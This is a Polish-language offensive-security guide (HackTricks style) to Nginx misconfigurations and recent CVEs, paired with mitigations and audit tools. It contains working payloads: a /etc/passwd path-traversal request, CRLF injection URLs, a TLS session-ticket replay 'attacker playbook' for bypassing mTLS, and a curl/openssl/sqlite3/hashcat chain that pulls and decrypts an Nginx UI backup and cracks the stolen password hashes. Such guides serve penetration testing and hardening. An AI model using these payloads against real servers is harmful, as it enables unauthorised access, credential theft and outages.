Nginx

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Brak lokalizacji root

Podczas konfigurowania serwera Nginx, dyrektywa root odgrywa kluczową rolę, określając katalog bazowy, z którego są serwowane pliki. Rozważ poniższy przykład:

server {
root /etc/nginx;

location /hello.txt {
try_files $uri $uri/ =404;
proxy_pass http://127.0.0.1:8080/;
}
}

W tej konfiguracji /etc/nginx jest oznaczony jako katalog root. Taki układ umożliwia dostęp do plików znajdujących się w określonym katalogu root, takich jak /hello.txt. Jednak kluczowe jest to, że zdefiniowano tylko konkretną lokalizację (/hello.txt). Nie ma konfiguracji dla lokalizacji root (location / {...}). To pominięcie oznacza, że dyrektywa root obowiązuje globalnie, umożliwiając żądaniom do ścieżki root / dostęp do plików w /etc/nginx.

Z tej konfiguracji wynika istotna kwestia bezpieczeństwa. Proste żądanie GET, takie jak GET /nginx.conf, może ujawnić poufne informacje, serwując plik konfiguracyjny Nginx znajdujący się w /etc/nginx/nginx.conf. Ustawienie root na mniej wrażliwy katalog, taki jak /etc, mogłoby ograniczyć to ryzyko, ale nadal może umożliwiać niezamierzony dostęp do innych krytycznych plików, w tym innych plików konfiguracyjnych, logów dostępu, a nawet zaszyfrowanych poświadczeń używanych do HTTP basic authentication.

Alias LFI Misconfiguration

W plikach konfiguracyjnych Nginx warto dokładnie sprawdzić dyrektywy “location”. Podatność znana jako Local File Inclusion (LFI) może zostać nieumyślnie wprowadzona przez konfigurację przypominającą następującą:

location /imgs {
alias /path/images/;
}

Ta konfiguracja jest podatna na ataki LFI, ponieważ serwer interpretuje żądania takie jak /imgs../flag.txt jako próbę uzyskania dostępu do plików poza zamierzonym katalogiem, skutecznie rozwiązywane do /path/images/../flag.txt. Ta luka pozwala atakującym pobierać pliki z systemu plików serwera, które nie powinny być dostępne przez web.

Aby ograniczyć tę podatność, konfigurację należy dostosować do:

location /imgs/ {
alias /path/images/;
}

Więcej informacji: https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/

Testy Accunetix:

alias../ => HTTP status code 403
alias.../ => HTTP status code 404
alias../../ => HTTP status code 403
alias../../../../../../../../../../../ => HTTP status code 400
alias../ => HTTP status code 403

Niezabezpieczone ograniczenie ścieżki

Sprawdź następującą stronę, aby dowiedzieć się, jak ominąć dyrektywy takie jak:

location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Proxy / WAF Protections Bypass

Niebezpieczne użycie zmiennych / HTTP Request Splitting

Caution

Podatne zmienne $uri i $document_uri, a można to naprawić, zastępując je $request_uri.

Regex też może być podatny, na przykład:

location ~ /docs/([^/])? { … $1 … } - Vulnerable

location ~ /docs/([^/\s])? { … $1 … } - Not vulnerable (checking spaces)

location ~ /docs/(.*)? { … $1 … } - Not vulnerable

Podatność w konfiguracji Nginx jest pokazana w poniższym przykładzie:

location / {
return 302 https://example.com$uri;
}

Znaki \r (Carriage Return) i \n (Line Feed) oznaczają znaki nowej linii w żądaniach HTTP, a ich zakodowane w URL formy są reprezentowane jako %0d%0a. Dołączenie tych znaków do żądania (np. http://localhost/%0d%0aDetectify:%20clrf) do błędnie skonfigurowanego serwera powoduje, że serwer zwraca nowy nagłówek o nazwie Detectify. Dzieje się tak, ponieważ zmienna $uri dekoduje zakodowane w URL znaki nowej linii, co prowadzi do nieoczekiwanego nagłówka w odpowiedzi:

HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
Content-Type: text/html
Content-Length: 145
Connection: keep-alive
Location: https://example.com/
Detectify: clrf

Dowiedz się więcej o ryzykach związanych z CRLF injection i response splitting na https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/.

Ta technika jest też wyjaśniona w tym talku z kilkoma podatnymi przykładami i mechanizmami detekcji. Na przykład, aby wykryć tę misconfiguration z perspektywy blackbox, możesz wysłać takie requests:

  • https://example.com/%20X - Dowolny kod HTTP
  • https://example.com/%20H - 400 Bad Request

Jeśli podatne, pierwszy zwróci odpowiedź, ponieważ “X” jest dowolną metodą HTTP, a drugi zwróci błąd, ponieważ H nie jest poprawną metodą. Wtedy server otrzyma coś w rodzaju: GET / H HTTP/1.1 i wywoła to błąd.

Inne przykłady detekcji to:

  • http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x - Dowolny kod HTTP
  • http://company.tld/%20HTTP/1.1%0D%0AHost:%20x - 400 Bad Request

Niektóre znalezione podatne konfiguracje przedstawione w tym talku były:

  • Zwróć uwagę, że $uri jest ustawiane tak jak jest w finalnym URL
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
  • Zwróć uwagę, jak ponownie $uri znajduje się w URL (tym razem wewnątrz parametru)
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
proxy_pass http://$back;
  • Teraz w AWS S3
location /s3/ {
proxy_pass https://company-bucket.s3.amazonaws.com$uri;
}

Any variable

Odkryto, że dane dostarczone przez użytkownika mogą być w pewnych okolicznościach traktowane jako zmienna Nginx. Przyczyna tego zachowania pozostaje nieco nieuchwytna, jednak nie jest ono rzadkie ani proste do zweryfikowania. Ta anomalia została wyróżniona w raporcie bezpieczeństwa na HackerOne, który można zobaczyć here. Dalsza analiza komunikatu o błędzie doprowadziła do zidentyfikowania jego występowania w module filtra SSI w kodzie Nginx, wskazując Server Side Includes (SSI) jako przyczynę źródłową.

Aby wykryć tę nieprawidłową konfigurację, można wykonać następujące polecenie, które polega na ustawieniu nagłówka referer w celu sprawdzenia, czy zmienna zostanie wyświetlona:

$ curl -H ‘Referer: bar’ http://localhost/foo$http_referer | grep ‘foobar’

Skanowanie tej błędnej konfiguracji w różnych systemach ujawniło wiele przypadków, w których zmienne Nginx mogły być wypisywane przez użytkownika. Jednak spadek liczby podatnych instancji sugeruje, że działania mające na celu załatanie tego problemu odniosły pewien sukces.

Using try_files with $URI$ARGS variables

Poniższa błędna konfiguracja Nginx może prowadzić do podatności LFI:

location / {
try_files $uri$args $uri$args/ /index.html;
}

W naszej konfiguracji mamy dyrektywę try_files, która służy do sprawdzania istnienia plików w określonej kolejności. Nginx będzie serwować pierwszy, który znajdzie. Podstawowa składnia dyrektywy try_files wygląda następująco:

try_files file1 file2 ... fileN fallback;

Nginx sprawdzi istnienie każdego pliku w określonej kolejności. Jeśli plik istnieje, zostanie natychmiast obsłużony. Jeśli żaden z podanych plików nie istnieje, żądanie zostanie przekazane do opcji fallback, która może być innym URI lub konkretną stroną błędu.

Jednak podczas używania zmiennych $uri$args w tej dyrektywie, Nginx spróbuje znaleźć plik, który pasuje do URI żądania połączonego z dowolnymi argumentami query string. Dlatego możemy wykorzystać tę konfigurację:

http {
server {
root /var/www/html/public;

location / {
try_files $uri$args $uri$args/ /index.html;
}
}
}

Z następującym payloadem:

GET /?../../../../../../../../etc/passwd HTTP/1.1
Host: example.com

Używając naszego payloadu, wyjdziemy poza katalog root (zdefiniowany w konfiguracji Nginx) i załadujemy plik /etc/passwd. W debug logs możemy zaobserwować, jak Nginx próbuje plików:

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 trying to use file: "/../../../../../../../../etc/passwd" "/var/www/html/public/../../../../../../../../etc/passwd"
2025/07/11 15:49:16 [debug] 79694#79694: *4 try file uri: "/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 http filename: "/var/www/html/public/../../../../../../../../etc/passwd"

...SNIP...

2025/07/11 15:49:16 [debug] 79694#79694: *4 HTTP/1.1 200 OK

PoC przeciwko Nginx z użyciem konfiguracji wspomnianej powyżej: Example burp request

Raw backend response reading

Nginx oferuje funkcję poprzez proxy_pass, która umożliwia przechwytywanie błędów i nagłówków HTTP generowanych przez backend, aby ukryć wewnętrzne komunikaty o błędach i nagłówki. Osiąga się to przez to, że Nginx serwuje niestandardowe strony błędów w odpowiedzi na błędy backendu. Jednak pojawiają się problemy, gdy Nginx napotka nieprawidłowe żądanie HTTP. Takie żądanie jest przekazywane do backendu w otrzymanej formie, a surowa odpowiedź backendu jest następnie bezpośrednio zwracana do klienta, bez ingerencji Nginx.

Rozważmy przykładowy scenariusz z aplikacją uWSGI:

def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
return [b"Secret info, should not be visible!"]

Aby to zarządzać, używa się określonych dyrektyw w konfiguracji Nginx:

http {
error_page 500 /html/error.html;
proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
  • proxy_intercept_errors: Ta dyrektywa umożliwia Nginx serwowanie niestandardowej odpowiedzi dla odpowiedzi backendu ze statusem kodu większym niż 300. Zapewnia, że w naszym przykładzie aplikacji uWSGI odpowiedź 500 Error jest przechwytywana i obsługiwana przez Nginx.
  • proxy_hide_header: Jak sama nazwa wskazuje, ta dyrektywa ukrywa określone nagłówki HTTP przed klientem, zwiększając prywatność i bezpieczeństwo.

Gdy wykonywane jest poprawne żądanie GET, Nginx przetwarza je normalnie, zwracając standardową odpowiedź błędu bez ujawniania żadnych tajnych nagłówków. Jednak nieprawidłowe żądanie HTTP omija ten mechanizm, co skutkuje ujawnieniem surowych odpowiedzi backendu, w tym tajnych nagłówków i komunikatów o błędach.

merge_slashes set to off

Domyślnie dyrektywa merge_slashes w Nginx ma ustawienie on, które kompresuje wiele ukośników w URL do pojedynczego ukośnika. Ta funkcja, choć usprawnia przetwarzanie URL, może nieumyślnie ukrywać podatności w aplikacjach za Nginx, szczególnie podatności na ataki local file inclusion (LFI). Eksperci ds. bezpieczeństwa Danny Robinson i Rotem Bar zwrócili uwagę na potencjalne ryzyka związane z tym domyślnym zachowaniem, zwłaszcza gdy Nginx działa jako reverse-proxy.

Aby ograniczyć takie ryzyka, zaleca się wyłączenie dyrektywy merge_slashes w aplikacjach podatnych na te podatności. Zapewnia to, że Nginx przekazuje żądania do aplikacji bez zmieniania struktury URL, a tym samym nie maskuje żadnych ukrytych problemów bezpieczeństwa.

Więcej informacji znajdziesz w Danny Robinson and Rotem Bar.

Maclicious Response Headers

Jak pokazano w this writeup, istnieją pewne nagłówki, które jeśli są obecne w odpowiedzi z serwera web, zmienią zachowanie proxy Nginx. Możesz sprawdzić je w docs:

  • X-Accel-Redirect: Wskazuje Nginx, aby wewnętrznie przekierował żądanie do określonej lokalizacji.
  • X-Accel-Buffering: Kontroluje, czy Nginx powinien buforować odpowiedź, czy nie.
  • X-Accel-Charset: Ustawia zestaw znaków dla odpowiedzi podczas używania X-Accel-Redirect.
  • X-Accel-Expires: Ustawia czas wygaśnięcia odpowiedzi podczas używania X-Accel-Redirect.
  • X-Accel-Limit-Rate: Ogranicza szybkość transferu odpowiedzi podczas używania X-Accel-Redirect.

Na przykład nagłówek X-Accel-Redirect spowoduje wewnętrzny redirect w nginx. Jeśli więc konfiguracja nginx zawiera coś takiego jak root /, a odpowiedź z serwera web zawiera X-Accel-Redirect: .env, nginx zwróci zawartość /.env (Path Traversal).

Default Value in Map Directive

W konfiguracji Nginx, dyrektywa map często odgrywa rolę w authorization control. Częstym błędem jest niewskazanie wartości default, co może prowadzić do nieautoryzowanego dostępu. Na przykład:

http {
map $uri $mappocallow {
/map-poc/private 0;
/map-poc/secret 0;
/map-poc/public 1;
}
}

server {
location /map-poc {
if ($mappocallow = 0) {return 403;}
return 200 "Hello. It is private area: $mappocallow";
}
}

Bez default, złośliwy użytkownik może ominąć zabezpieczenia, uzyskując dostęp do niezdefiniowanego URI w obrębie /map-poc. The Nginx manual zaleca ustawienie default value, aby uniknąć takich problemów.

Luka DNS Spoofing

DNS spoofing przeciwko Nginx jest wykonalne w określonych warunkach. Jeśli atakujący zna DNS server używany przez Nginx i może przechwycić jego zapytania DNS, może spoofować rekordy DNS. Ta metoda jest jednak nieskuteczna, jeśli Nginx jest skonfigurowany do używania localhost (127.0.0.1) do rozwiązywania DNS. Nginx pozwala określić DNS server w następujący sposób:

resolver 8.8.8.8;

proxy_pass i internal Directives

Dyrektywa proxy_pass jest używana do przekierowywania żądań do innych serwerów, zarówno wewnętrznie, jak i zewnętrznie. Dyrektywa internal zapewnia, że określone lokalizacje są dostępne wyłącznie wewnątrz Nginx. Chociaż te dyrektywy same w sobie nie są podatnościami, ich konfiguracja wymaga dokładnej analizy, aby zapobiec lukom bezpieczeństwa.

proxy_set_header Upgrade & Connection

Jeśli serwer nginx jest skonfigurowany tak, aby przekazywać nagłówki Upgrade i Connection, można przeprowadzić h2c Smuggling attack w celu uzyskania dostępu do chronionych/wewnętrznych endpointów.

Caution

Ta podatność pozwoliłaby atakującemu ustanowić bezpośrednie połączenie z endpointem proxy_pass (http://backend:9999 w tym przypadku), którego zawartość nie będzie sprawdzana przez nginx.

Przykład podatnej konfiguracji do kradzieży /flag stąd: here:

server {
listen       443 ssl;
server_name  localhost;

ssl_certificate       /usr/local/nginx/conf/cert.pem;
ssl_certificate_key   /usr/local/nginx/conf/privkey.pem;

location / {
proxy_pass http://backend:9999;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection $http_connection;
}

location /flag {
deny all;
}

Warning

Zauważ, że nawet jeśli proxy_pass wskazywałby na konkretną path taką jak http://backend:9999/socket.io połączenie zostanie nawiązane z http://backend:9999, więc możesz skontaktować dowolną inną path wewnątrz tego wewnętrznego endpointu. Więc nie ma znaczenia, czy w URL proxy_pass jest podana path.

HTTP/3 QUIC module remote DoS & leak (2024)

W 2024 Nginx ujawnił CVE-2024-31079, CVE-2024-32760, CVE-2024-34161 i CVE-2024-35200, pokazując, że pojedyncza wroga sesja QUIC może wywołać crash procesów worker albo leak pamięci, gdy eksperymentalny ngx_http_v3_module jest skompilowany i wystawiony jest gniazdo listen ... quic. Dotknięte buildy to 1.25.0–1.25.5 oraz 1.26.0, natomiast 1.27.0/1.26.1 zawierają poprawki; ujawnienie pamięci (CVE-2024-34161) dodatkowo wymaga MTU większych niż 4096 bajtów, aby ujawnić wrażliwe dane (szczegóły w advisory nginx z 2024, do którego odwołanie znajduje się poniżej).

Wskazówki do Recon & exploitation

  • HTTP/3 jest opcjonalne, więc skanuj pod kątem odpowiedzi Alt-Svc: h3=":443" albo brute-force UDP/443 QUIC handshakes; po potwierdzeniu fuzzuj handshake i ramki STREAM za pomocą własnych payloadów quiche-client/nghttp3, aby wywołać crash procesów worker i wymusić leak logów.
  • Szybko fingerprintuj wsparcie celu za pomocą:
nginx -V 2>&1 | grep -i http_v3
rg -n "listen .*quic" /etc/nginx/

TLS session resumption bypass of client cert auth (CVE-2025-23419)

Ogłoszenie z lutego 2025 ujawniło, że nginx 1.11.4–1.27.3 zbudowany z OpenSSL pozwala na ponowne użycie sesji TLS 1.3 z jednego opartego na nazwie virtual host w innym, więc klient, który negocjował host bez certyfikatu, może odtworzyć ticket/PSK, aby przeskoczyć do vhost chronionego przez ssl_verify_client on; i całkowicie pominąć mTLS. Błąd uruchamia się zawsze, gdy wiele virtual hosts współdzieli ten sam TLS 1.3 session cache i tickets (zob. advisory nginx z 2025, do którego odwołanie znajduje się poniżej).

Attacker playbook

# 1. Create a TLS session on the public vhost and save the session ticket
openssl s_client -connect public.example.com:443 -sess_out ticket.pem

# 2. Replay that session ticket against the mTLS vhost before it expires
openssl s_client -connect admin.example.com:443 -sess_in ticket.pem -ign_eof

Jeśli cel jest podatny, drugie handshake kończy się bez przedstawienia client certificate, ujawniając chronione lokalizacje.

What to audit

  • Mieszane bloki server_name, które współdzielą ssl_session_cache shared:SSL oraz ssl_session_tickets on;.
  • Bloki admin/API, które oczekują mTLS, ale dziedziczą ustawienia shared session cache/ticket z public hosts.
  • Automatyzację, która włącza TLS 1.3 session resumption globalnie (np. role Ansible) bez uwzględnienia izolacji vhost.

HTTP/2 Rapid Reset resilience (CVE-2023-44487 behavior)

Atak HTTP/2 Rapid Reset (CVE-2023-44487) nadal wpływa na nginx, gdy operatorzy podbijają keepalive_requests lub http2_max_concurrent_streams ponad domyślne wartości: attacker otwiera jedno połączenie HTTP/2, zalewa je tysiącami streamów, a potem natychmiast wysyła ramki RST_STREAM, dzięki czemu limit concurrency nigdy nie zostaje osiągnięty, podczas gdy CPU nadal zużywa się na logikę tear-down. Domyślne wartości Nginx (128 concurrent streams, 1000 keepalive requests) utrzymują blast radius na małym poziomie; podniesienie tych limitów do “substantially higher” sprawia, że można łatwo zagłodzić workerów nawet z jednego clienta (patrz opis F5 przytoczony poniżej).

Detection tips

# Highlight risky knobs
rg -n "http2_max_concurrent_streams" /etc/nginx/
rg -n "keepalive_requests" /etc/nginx/

Hosty, które ujawniają nietypowo wysokie wartości dla tych dyrektyw, są głównymi celami: jeden klient HTTP/2 może zapętlać tworzenie streamów i natychmiastowe ramki RST_STREAM, aby utrzymać CPU na maksymalnym obciążeniu bez przekroczenia limitu współbieżności.

Nginx UI pre-auth backup export + leak materiału kryptograficznego

Nginx UI to osobny panel administracyjny dla nginx, a nie sam demon nginx. W Nginx UI < 2.3.3 endpoint eksportu backupu może być dostępny bez uwierzytelnienia, a odpowiedź może także leakować klucz AES-256-CBC i IV potrzebne do odszyfrowania backupu przez nagłówek X-Backup-Security. To zamienia „pobranie zaszyfrowanego backupu” w natychmiastowe ujawnienie danych uwierzytelniających / tokenów / prywatnych kluczy.

Szybkie fingerprinting wersji z assetów SPA

Jeśli strona logowania jest SPA intensywnie wykorzystującą JS, pobierz główny bundle z / i poszukaj dedykowanego chunka z wersją:

curl -s http://admin.example/ | grep -oP 'assets/index-[^"]+\.js'
curl -s http://admin.example/assets/index-<hash>.js | grep -oP 'version[-\\w]*\\.js'
curl -s http://admin.example/assets/version-<hash>.js

Na podatnych buildach Nginx UI to często zwraca literał taki jak const t="2.3.2", co wystarcza, aby dopasować podatny zakres przed uwierzytelnieniem.

Sprawdź wystawione endpointy API i pobierz backup

Nawet gdy większość tras /api/* zwraca 403, testuj bezpośrednio endpointy w stylu backup:

curl -s http://admin.example/api/install
curl -s -D headers.txt -o backup.zip http://admin.example/api/backup
grep -i '^X-Backup-Security:' headers.txt
unzip -l backup.zip

Jeśli podatne, X-Backup-Security zawiera base64(key):base64(iv). Zdekoduj obie wartości i potwierdź oczekiwane długości (32-bajtowy key, 16-bajtowy IV):

KEY_B64='<base64-key>'; IV_B64='<base64-iv>'
KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 0)
IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 0)
unzip backup.zip -d backup
openssl enc -aes-256-cbc -d -in backup/hash_info.txt -out hash_info.txt -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx.zip -out nginx_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"
openssl enc -aes-256-cbc -d -in backup/nginx-ui.zip -out nginx-ui_dec.zip -K "$KEY_HEX" -iv "$IV_HEX"

Po odszyfrowaniu sprawdź odzyskane konfiguracje nginx oraz dane aplikacji Nginx UI. Częstą ścieżką post-exploitation jest:

  • Wyodrębnij szczegóły reverse-proxy i vhost z nginx_dec.zip
  • Sprawdź nginx-ui_dec.zip pod kątem app.ini, database.db, tokenów API lub materiału certyfikatu
  • Zrzucić tabelę SQLite users i łamać odzyskane hashe haseł offline
unzip nginx-ui_dec.zip -d nginx-ui
sqlite3 nginx-ui/database.db 'select name,password from users;'
hashcat -m 3200 hashes.txt <wordlist>

Ten wzorzec warto testować także w innych produktach administracyjnych: nieautoryzowany „zaszyfrowany” export nadal ujawnia plaintext, jeśli odpowiedź wycieka materiał do odszyfrowania albo zapisuje go razem z archiwum.

Sprawdź to sam

Detectify stworzyło repozytorium GitHub, gdzie możesz użyć Docker, aby uruchomić własny podatny serwer testowy Nginx z niektórymi błędnymi konfiguracjami omówionymi w tym artykule i spróbować samodzielnie je znaleźć!

https://github.com/detectify/vulnerable-nginx

Static Analyzer tools

gixy-ng & Gixy-Next & GIXY

  • Gixy-Next (zaktualizowany fork GIXY) to narzędzie do analizy konfiguracji Nginx, którego celem jest znajdowanie podatności, niebezpiecznych dyrektyw i ryzykownych misconfigurations. Wykrywa też misconfigurations wpływające na wydajność oraz brakujące okazje do hardening, umożliwiając automatyczne wykrywanie błędów.
  • gixy-ng (aktywnie utrzymywany fork GIXY) to narzędzie do analizy konfiguracji Nginx, którego celem jest znajdowanie podatności, niebezpiecznych dyrektyw i ryzykownych misconfigurations. Wykrywa też misconfigurations wpływające na wydajność oraz brakujące okazje do hardening, umożliwiając automatyczne wykrywanie błędów.

Nginxpwner

Nginxpwner to proste narzędzie do wyszukiwania typowych misconfigurations i podatności Nginx.

References

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks